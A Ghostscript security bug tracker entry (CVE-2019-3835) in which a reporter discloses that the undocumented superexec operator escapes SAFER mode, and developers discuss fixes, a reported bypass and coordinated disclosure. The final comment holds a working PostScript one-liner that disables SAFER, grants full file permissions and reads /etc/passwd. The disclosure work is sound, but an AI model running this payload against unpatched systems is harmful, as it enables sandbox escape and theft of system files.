| Summary: | is superexec still available ? | ||
|---|---|---|---|
| Product: | Ghostscript | Reporter: | Cedric <cbuissar> |
| Component: | Security (public) | Assignee: | Ray Johnston <ray.johnston> |
| Status: | RESOLVED FIXED | ||
| Severity: | normal | CC: | carnil, dr, jsmeix, marc.deslauriers, mosvald, till.kamppeter |
| Priority: | P4 | ||
| Version: | unspecified | ||
| Hardware: | PC | ||
| OS: | Linux | ||
| Customer: | Word Size: | --- | |
| Attachments: | PoC bypass commit 20559175 | ||
It's still available - it's not trivial to remove, since (probably) the largest producer of Postscript out there (the Windows Postscript printer driver) actually uses it. We are looking at solutions that mitigate the threat, but still allow the PScript5.dll output to work. Thanks for confirmation and for looking into it! I successfully used this flaw against a couple of popular Linux PS viewers. Fixed by commit 20559175 Because PScript5.dll uses the superexec operator (under some instances) from the internaldict, we can't totally eliminate it, but this patch restricts the usage to a specific usage (writing into a /Private key in a dictionary using a procedure that is a length 1 packedarray). This passes our testing which includes PostScript files that contain references to superexec, but we haven't checked to see if it is actually executed successfully (it may be that other parts of the ProcSet check for things that cause it to not be used). Looks good! When would you want to make it public ? Created attachment 16917 [details] PoC bypass commit 20559175 Hi, I just realized that the current fix is not sufficient (dunno if I should create a new BZ or re-use that one, so I ll just re-use that one for now) The issue is that there's no check of the content of the stack. An attacker can use error handler and modify the stack as the code executes, and let the code finally fail on the -ifelse- with a non-boolean. Checking the content of the stack to prevent any errors, and probably adding `executeonly` on in the /if/ block part of the -ifelse- should help around it. (see PoC attached) Can't go straight from resolved to confirmed, so had to go via unconfirmed status first, apologies for the extra email. This is CVE-2019-3835 I don't think we even need superexec anymore. It isn't documented, and it a definite security hole, so the best thing is to eliminate it. gs_cet.ps now uses .forceput in a protected fashion, so we might as well drop this undocumented security hole. Fixed by commit d683d1e6 Obliterate "superexec". We don't need it, nor do any known apps. We were under the impression that the Windows driver 'PScript5.dll' used superexec, but after testing with our extensive suite of PostScript file, and analysis of the PScript5 "Adobe CoolType ProcSet, it does not appear that this operator is needed anymore. Get rid of superexec and all of the references to it, since it is a potential security hole. Hi, This latest fix is perfect, no way bypassing that one :D Is it ok if we disclose it on Thursday March 22 ? (both BZ 700585/CVE-2019-3835 and BZ 700576/CVE-2019-3838) Given the situation, I think it might be better to have a coordinated fix among distros |
Hi all, I was auditing ghostscript and I admit that I am unsure if I am doing something wrong when compiling against upstream, or if there's a major hole via superexec still being accessible, simply requesting it from internaldict with the magic number : GS> { systemdict /SAFER false put systemdict /userparams get /PermitFileControl [(*)] put systemdict /userparams get /PermitFileWriting [(*)] put systemdict /userparams get /PermitFileReading [(*)] put } 1183615869 internaldict /superexec get exec GS> (/etc/passwd) (r) file dup 64 string readline pop == closefile (root:x:0:0:root:/root:/bin/bash) Best regards, Cedric